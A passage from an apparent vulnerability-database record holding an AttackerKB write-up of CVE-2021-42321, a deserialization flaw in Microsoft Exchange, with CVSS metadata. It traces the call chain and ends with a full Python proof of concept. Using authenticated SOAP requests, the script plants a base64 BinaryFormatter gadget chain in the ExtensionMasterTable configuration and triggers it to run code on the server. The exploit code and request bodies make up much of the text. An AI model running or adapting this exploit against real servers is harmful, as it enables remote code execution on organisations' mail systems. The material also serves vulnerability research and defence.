\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return userConfigurationName.MailboxSession.UserConfigurationManager.CreateFolderConfiguration(userConfigurationName.Name, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, userConfigurationName.FolderId); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (ObjectExistedException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExTraceGlobals.ExceptionTracer.TraceError(0L, \"ObjectExistedException during UserConfiguration creation: {0} Name {1} FolderId: {2}\", ex, userConfigurationName.Name, userConfigurationName.FolderId); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new ErrorItemSaveException(CoreResources.IDs.ErrorItemSaveUserConfigurationExists, ex); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0internal override ServiceResult<ServiceResultNone> Execute() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.ValidatePropertiesForUpdate(serviceUserConfiguration); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (UserConfiguration userConfiguration = CreateInstance(GetUserConfigurationName(serviceUserConfiguration.UserConfigurationName))) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.SetProperties(serviceUserConfiguration, userConfiguration); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0userConfiguration.Save(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new ServiceResult<ServiceResultNone>(new ServiceResultNone()); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nLets take a deeper look into the `SetProperties()` code:\n \n \n // Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType> \n using Microsoft.Exchange.Data.Storage; \n using Microsoft.Exchange.Services.Core.Types; \n \n protected static void SetProperties(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration) \n { \n \u00a0\u00a0\u00a0\u00a0SetDictionary(serviceUserConfiguration, userConfiguration); \n \u00a0\u00a0\u00a0\u00a0SetXmlStream(serviceUserConfiguration, userConfiguration); \n \u00a0\u00a0\u00a0\u00a0SetStream(serviceUserConfiguration, userConfiguration); \n }\n \n\nAh, interesting, so `SetProperties()` sets both an XML stream with `SetXmlStream()` and sets another stream, likely binary, with `SetStream()`. Lets confirm this is using the `BinaryData` field mentioned earlier by looking at the code for `SetStream()`:\n \n \n // Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType> \n using System.IO; \n using Microsoft.Exchange.Data.Storage; \n using Microsoft.Exchange.Services.Core.Types; \n \n private static void SetStream(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration) \n { \n \u00a0\u00a0\u00a0\u00a0if (serviceUserConfiguration.BinaryData == null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0using Stream stream = GetStream(userConfiguration); \n \u00a0\u00a0\u00a0\u00a0SetStreamPropertyFromBase64String(serviceUserConfiguration.BinaryData, stream, CoreResources.IDs.ErrorInvalidValueForPropertyBinaryData); \n }\n \n\nLooks like it is indeed using `serviceUserConfiguration.BinaryData`, confirming that this is the field we need to set in order to set the stream. **Note that the `BinaryData` blob must be a Base64 encoded string due to the `SetStreamPropertyFromBase64String()` call here.**\n\nSo therefore our chain to create a `ServiceUserConfiguration` object with a `BinaryData` stream looks like this:\n \n \n CreateUserConfiguration.Execute()\n \tUserConfigurationCommandBase.SetProperties()\n \t\tUserConfigurationCommandBase.SetStream()\t\t\t\n \n\n# Chaining Everything Together\n\nSo looks like first we need to make the `UserConfiguration` and apply that. We can do that via a web server SOAP request to `/EWS/Exchange.asmx` that looks like the following which will create a `UserConfiguration` object with a `Dictionary` XML element which as noted at <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/dictionary>, defines a set of dictionary property entries for a user configuration object. These dictionary properties are controlled by a `DictionaryEntry` XML element which comprises a `DictionaryKey`, which has a `Type` field (aka type of the key) and a `Value` field (aka name of the key), and a `DictionaryValue` object which has the same fields used to control the value of the key.\n \n \n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"https://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"https://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n \n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:CreateUserConfiguration>\n <m:UserConfiguration>\n <t:UserConfigurationName Name=\"TestConfig\">\n <t:Folder Id=\"id\" ChangeKey=\"id\">\n </t:Folder>\n </t:UserConfigurationName>\n \t\t<t:BinaryData>\n \t\t\tDESERIALIZE_PAYLOAD_GOES_HERE_AS_BASE64_ENCODED_STRING\n \t\t</t:BinaryData>\n <t:Dictionary>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>PhoneNumber</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>String</t:Type>\n <t:Value>555-555-1111</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n </t:Dictionary>\n </m:UserConfiguration> \n </m:CreateUserConfiguration>\n </soap:Body>\n </soap:Envelope>\n \n\n# Tracing the Deserialization Back to An Accessible Source\n\nAfter a lot of tracing through interfaces we finally end up getting the following full deserialization chain from an accessible source. As you can see its quite long at 24 calls (including interfaces, so probably around 18 or so actual calls, but still its a lot!!!)\n \n \n \tMicrosoft.Exchange.Services.Core.GetClientAccessToken.PreExecuteCommand()\n \tMicrosoft.Exchange.Services.Core.GetClientAccessToken.PrepareForExtensionRelatedTokens()\n \tMicrosoft.Exchange.Services.Core.GetClientAccessToken.GetUserExtensionDataList(HashSet<string>)\n \tMicrosoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensionDataListWithoutUpdatingCache(ICallContext, HashSet<string>)\n \tMicrosoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensions(ICallContext, bool, bool, bool, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, bool, Version, bool)\n \tMicrosoft.Exchange.Services.Wcf.GetExtensibilityContext.GetExtensions(ICallContext, bool, bool, bool, OrgEmptyMasterTableCache, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, int?, bool, out string, bool, bool, Version, bool) \n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetExtensions(HashSet<OfficeMarketplaceExtension>, bool, bool, bool, out string, CultureInfo, bool, bool, MultiValuedProperty<Capability>, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetOrgProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionTable.GetOrgExtensions(IOrgExtensionDataGetter, OrgExtensionRetrievalContext, bool, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData>\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData>\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext) : OrgExtensionRetrievalResult\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n \t\tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize\n \t\t\tMicrosoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \t\t\t\tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\t\t\t\tTypedBinaryFormatter.Deserialize(Stream)\n \t\t\t\t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t\t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t\t\t\t BinaryFormatter.Deserialize()\n \n\nWe need to find a way to hit this function from an accessible location. **I made a mistake here in thinking that cause we were retrieving info from the cache it wouldn\u2019t be an exploitable path. Don\u2019t assume based purely off of names the whole path chain, take a look at everything first.**\n\nAnyway we can then find that by Googling `GetClientAccessToken` that we can make a SOAP request for this given documentation at <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/getclientaccesstoken-operation> and that `The GetClientAccessToken operation gets a client access token for a mail app for Outlook.` mean that its real purpose is simply to get a client token for a given mail app in Outlook. Interesting that such a benign operation triggers this chain bug it does make sense. After all some of this is getting the list of extensions for a given org, likely to find the respective app, which then leads us to the `Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult)` call that ultimately leads to more calls and the then the `TypedBinaryFormatter.Deserialize(Stream)` call where the bug is at.\n\nFor reference the data we need to send here will look something like this:\n \n \n <?xml version=\"1.0\" encoding=\"UTF-8\"?> \n <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:t=\"https://schemas.microsoft.com/exchange/services/2006/types\" xmlns:m=\"https://schemas.microsoft.com/exchange/services/2006/messages\"> \n \t<soap:Header> \n \t\t<t:RequestServerVersion Version=\"Exchange2013\" /> \n \t</soap:Header> \n \t<soap:Body> \n \t\t<m:GetClientAccessToken> \n \t\t\t<m:TokenRequests> \n \t\t\t\t<t:TokenRequest> \n \t\t\t\t\t<t:Id>1C50226D-04B5-4AB2-9FCD-42E236B59E4B</t:Id> \n \t\t\t\t\t<t:TokenType>CallerIdentity</t:TokenType>\n \t\t\t\t</t:TokenRequest> \n \t\t\t</m:TokenRequests> \n \t\t</m:GetClientAccessToken> \n \t</soap:Body> \n </soap:Envelope>\n \n\n# Shell\n\nFollowing PoC will spawn `calc.exe` on the target:\n \n \n #!/usr/bin/python3\n import socket, time\n \n import http.client, requests\n import urllib.request, urllib.parse, urllib.error\n import os, ssl\n \n from requests_ntlm2 import HttpNtlmAuth\n from urllib3.exceptions import InsecureRequestWarning\n \n requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n import base64\n \n \n USER = 'TESTINGDOMAIN\\\\administrator'\n PASS = 'thePassword123!'\n \n target = \"https://172.26.247.94\"\n \n #rcegadget\n #pop calc or mspaint on the target\n gadgetData = 'AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAALAXQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFbFRlWE4wWlcwc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVCUUVBQUFDRUFWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxsTnZjblJsWkZObGRHQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxDQnRjMk52Y214cFlpd2dWbVZ5YzJsdmJqMDBMakF1TUM0d0xDQkRkV3gwZFhKbFBXNWxkWFJ5WVd3c0lGQjFZbXhwWTB0bGVWUnZhMlZ1UFdJM04yRTFZelUyTVRrek5HVXdPRGxkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwSUFnQUFBQUlBQUFBSkF3QUFBQUlBQUFBSkJBQUFBQVFEQUFBQWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwQkFBQUFDMTlqYjIxd1lYSnBjMjl1QXlKVGVYTjBaVzB1UkdWc1pXZGhkR1ZUWlhKcFlXeHBlbUYwYVc5dVNHOXNaR1Z5Q1FVQUFBQVJCQUFBQUFJQUFBQUdCZ0FBQUFvdll5QmpiV1F1WlhobEJnY0FBQUFEWTIxa0JBVUFBQUFpVTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ01BQUFBSVJHVnNaV2RoZEdVSGJXVjBhRzlrTUFkdFpYUm9iMlF4QXdNRE1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUzlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2k5VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1TlpXMWlaWEpKYm1adlUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNna0lBQUFBQ1FrQUFBQUpDZ0FBQUFRSUFBQUFNRk41YzNSbGJTNUVaV3hsWjJGMFpWTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSXJSR1ZzWldkaGRHVkZiblJ5ZVFjQUFBQUVkSGx3WlFoaGMzTmxiV0pzZVFaMFlYSm5aWFFTZEdGeVoyVjBWSGx3WlVGemMyVnRZbXg1RG5SaGNtZGxkRlI1Y0dWT1lXMWxDbTFsZEdodlpFNWhiV1VOWkdWc1pXZGhkR1ZGYm5SeWVRRUJBZ0VCQVFNd1UzbHpkR1Z0TGtSbGJHVm5ZWFJsVTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2l0RVpXeGxaMkYwWlVWdWRISjVCZ3NBQUFDd0FsTjVjM1JsYlM1R2RXNWpZRE5iVzFONWMzUmxiUzVUZEhKcGJtY3NJRzF6WTI5eWJHbGlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1Ywc1cxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpMQ0JUZVhOMFpXMHNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwR0RBQUFBRXR0YzJOdmNteHBZaXdnVm1WeWMybHZiajAwTGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBXSTNOMkUxWXpVMk1Ua3pOR1V3T0RrS0JnMEFBQUJKVTNsemRHVnRMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1FZT0FBQUFHbE41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpCZzhBQUFBRlUzUmhjblFKRUFBQUFBUUpBQUFBTDFONWMzUmxiUzVTWldac1pXTjBhVzl1TGsxbGJXSmxja2x1Wm05VFpYSnBZV3hwZW1GMGFXOXVTRzlzWkdWeUJ3QUFBQVJPWVcxbERFRnpjMlZ0WW14NVRtRnRaUWxEYkdGemMwNWhiV1VKVTJsbmJtRjBkWEpsQ2xOcFoyNWhkSFZ5WlRJS1RXVnRZbVZ5Vkhsd1pSQkhaVzVsY21salFYSm5kVzFsYm5SekFRRUJBUUVBQXdnTlUzbHpkR1Z0TGxSNWNHVmJYUWtQQUFBQUNRMEFBQUFKRGdBQUFBWVVBQUFBUGxONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56SUZOMFlYSjBLRk41YzNSbGJTNVRkSEpwYm1jc0lGTjVjM1JsYlM1VGRISnBibWNwQmhVQUFBQStVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpMbEJ5YjJObGMzTWdVM1JoY25Rb1UzbHpkR1Z0TGxOMGNtbHVaeXdnVTNsemRHVnRMbE4wY21sdVp5a0lBQUFBQ2dFS0FBQUFDUUFBQUFZV0FBQUFCME52YlhCaGNtVUpEQUFBQUFZWUFBQUFEVk41YzNSbGJTNVRkSEpwYm1jR0dRQUFBQ3RKYm5Rek1pQkRiMjF3WVhKbEtGTjVjM1JsYlM1VGRISnBibWNzSUZONWMzUmxiUzVUZEhKcGJtY3BCaG9BQUFBeVUzbHpkR1Z0TGtsdWRETXlJRU52YlhCaGNtVW9VM2x6ZEdWdExsTjBjbWx1Wnl3Z1UzbHpkR1Z0TGxOMGNtbHVaeWtJQUFBQUNnRVFBQUFBQ0FBQUFBWWJBQUFBY1ZONWMzUmxiUzVEYjIxd1lYSnBjMjl1WURGYlcxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMWRDUXdBQUFBS0NRd0FBQUFKR0FBQUFBa1dBQUFBQ2dzPQs='\n \n \n def sendPayload(gadgetChain):\n \tget_inbox = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:GetFolder>\n \t\t <m:FolderShape>\n \t\t\t<t:BaseShape>AllProperties</t:BaseShape>\n \t\t </m:FolderShape>\n \t\t <m:FolderIds>\n \t\t\t<t:DistinguishedFolderId Id=\"inbox\" />\n \t\t </m:FolderIds>\n \t\t</m:GetFolder>\n \t </soap:Body>\n \t</soap:Envelope>\n \t'''\n \n \theaders = {\"User-Agent\": \"ExchangeServicesClient/15.01.2308.008\", \"Content-type\" : \"text/xml; charset=utf-8\"}\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=get_inbox,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \n \tprint(res.text + \"\\r\\n\")\n \tprint(res.encoding + \"\\r\\n\")\n \n \tfolderId = res.text.split('<t:FolderId Id=\"')[1].split('\"')[0]\n \tchangeKey = res.text.split('<t:FolderId Id=\"' + folderId + '\" ChangeKey=\"')[1].split('\"')[0]\n \n \tprint(folderId + \"\\r\\n\")\n \tprint(changeKey + \"\\r\\n\")\n \n \tdelete_old = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:DeleteUserConfiguration>\n \t\t <m:UserConfigurationName Name=\"ExtensionMasterTable\">\n \t\t\t<t:FolderId Id=\"%s\" ChangeKey=\"%s\" />\n \t\t </m:UserConfigurationName>\n \t\t</m:DeleteUserConfiguration>\n \t </soap:Body>\n \t</soap:Envelope>''' % (folderId, changeKey)\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=delete_old,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \n \tprint(res.text)\n \tprint(\"\\r\\n\")\n \n \tcreate_usr_cfg = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:CreateUserConfiguration>\n \t\t <m:UserConfiguration>\n \t\t\t<t:UserConfigurationName Name=\"ExtensionMasterTable\">\n \t\t\t <t:FolderId Id=\"%s\" ChangeKey=\"%s\" />\n \t\t\t</t:UserConfigurationName>\n \t\t\t<t:Dictionary>\n \t\t\t <t:DictionaryEntry>\n \t\t\t\t<t:DictionaryKey>\n \t\t\t\t <t:Type>String</t:Type>\n \t\t\t\t <t:Value>OrgChkTm</t:Value>\n \t\t\t\t</t:DictionaryKey>\n \t\t\t\t<t:DictionaryValue>\n \t\t\t\t <t:Type>Integer64</t:Type>\n \t\t\t\t <t:Value>637728170914745525</t:Value>\n \t\t\t\t</t:DictionaryValue>\n \t\t\t </t:DictionaryEntry>\n \t\t\t <t:DictionaryEntry>\n \t\t\t\t<t:DictionaryKey>\n \t\t\t\t <t:Type>String</t:Type>\n \t\t\t\t <t:Value>OrgDO</t:Value>\n \t\t\t\t</t:DictionaryKey>\n \t\t\t\t<t:DictionaryValue>\n \t\t\t\t <t:Type>Boolean</t:Type>\n \t\t\t\t <t:Value>false</t:Value>\n \t\t\t\t</t:DictionaryValue>\n \t\t\t </t:DictionaryEntry>\n \t\t\t <t:DictionaryEntry>\n \t\t\t\t<t:DictionaryKey>\n \t\t\t\t <t:Type>String</t:Type>\n \t\t\t\t <t:Value>OrgExtV</t:Value>\n \t\t\t\t</t:DictionaryKey>\n \t\t\t\t<t:DictionaryValue>\n \t\t\t\t <t:Type>Integer32</t:Type>\n \t\t\t\t <t:Value>2147483647</t:Value>\n \t\t\t\t</t:DictionaryValue>\n \t\t\t </t:DictionaryEntry>\n \t\t\t</t:Dictionary>\n \t\t\t<t:BinaryData>%s</t:BinaryData>\n \t\t </m:UserConfiguration>\n \t\t</m:CreateUserConfiguration>\n \t </soap:Body>\n \t</soap:Envelope>''' % (folderId, changeKey, gadgetChain)\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=create_usr_cfg,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \n \tprint(res.text)\n \tprint(\"\\r\\n\")\n \tprint(\"Got the request sent, now to trigger deserialization!\\r\\n\\r\\n\")\n \n \tget_client_ext = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:GetClientAccessToken>\n \t\t <m:TokenRequests>\n \t\t\t<t:TokenRequest>\n \t\t\t <t:Id>aaaa</t:Id>\n \t\t\t <t:TokenType>CallerIdentity</t:TokenType>\n \t\t\t</t:TokenRequest>\n \t\t </m:TokenRequests>\n \t\t</m:GetClientAccessToken>\n \t </soap:Body>\n \t</soap:Envelope>\n \t'''\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=get_client_ext,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \tprint(res.text)\n \tprint(\"\\r\\n\")\n \tprint(\"Triggered deserialization!\\r\\n\\r\\n\")\n \n sendPayload(gadgetData)\n \n\n# Notes\n\nProcess will spawn under the `w3wp.exe` process running `MSExchangeServicesAppPool`.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-10T00:00:00", "type": "attackerkb", "title": "CVE-2021-42321", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-11T00:00:00", "id": "AKB:EA6AD256-9B4E-4DC6-B230-9ADED3EE40C0", "href": "https://attackerkb.com/topics/4JMe2Y1WSY/cve-2021-42321", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-06-05T14:46:57", "description": "A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka \u2018Microsoft Exchange Memory Corruption Vulnerability\u2019.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at February 26, 2020 5:02pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write 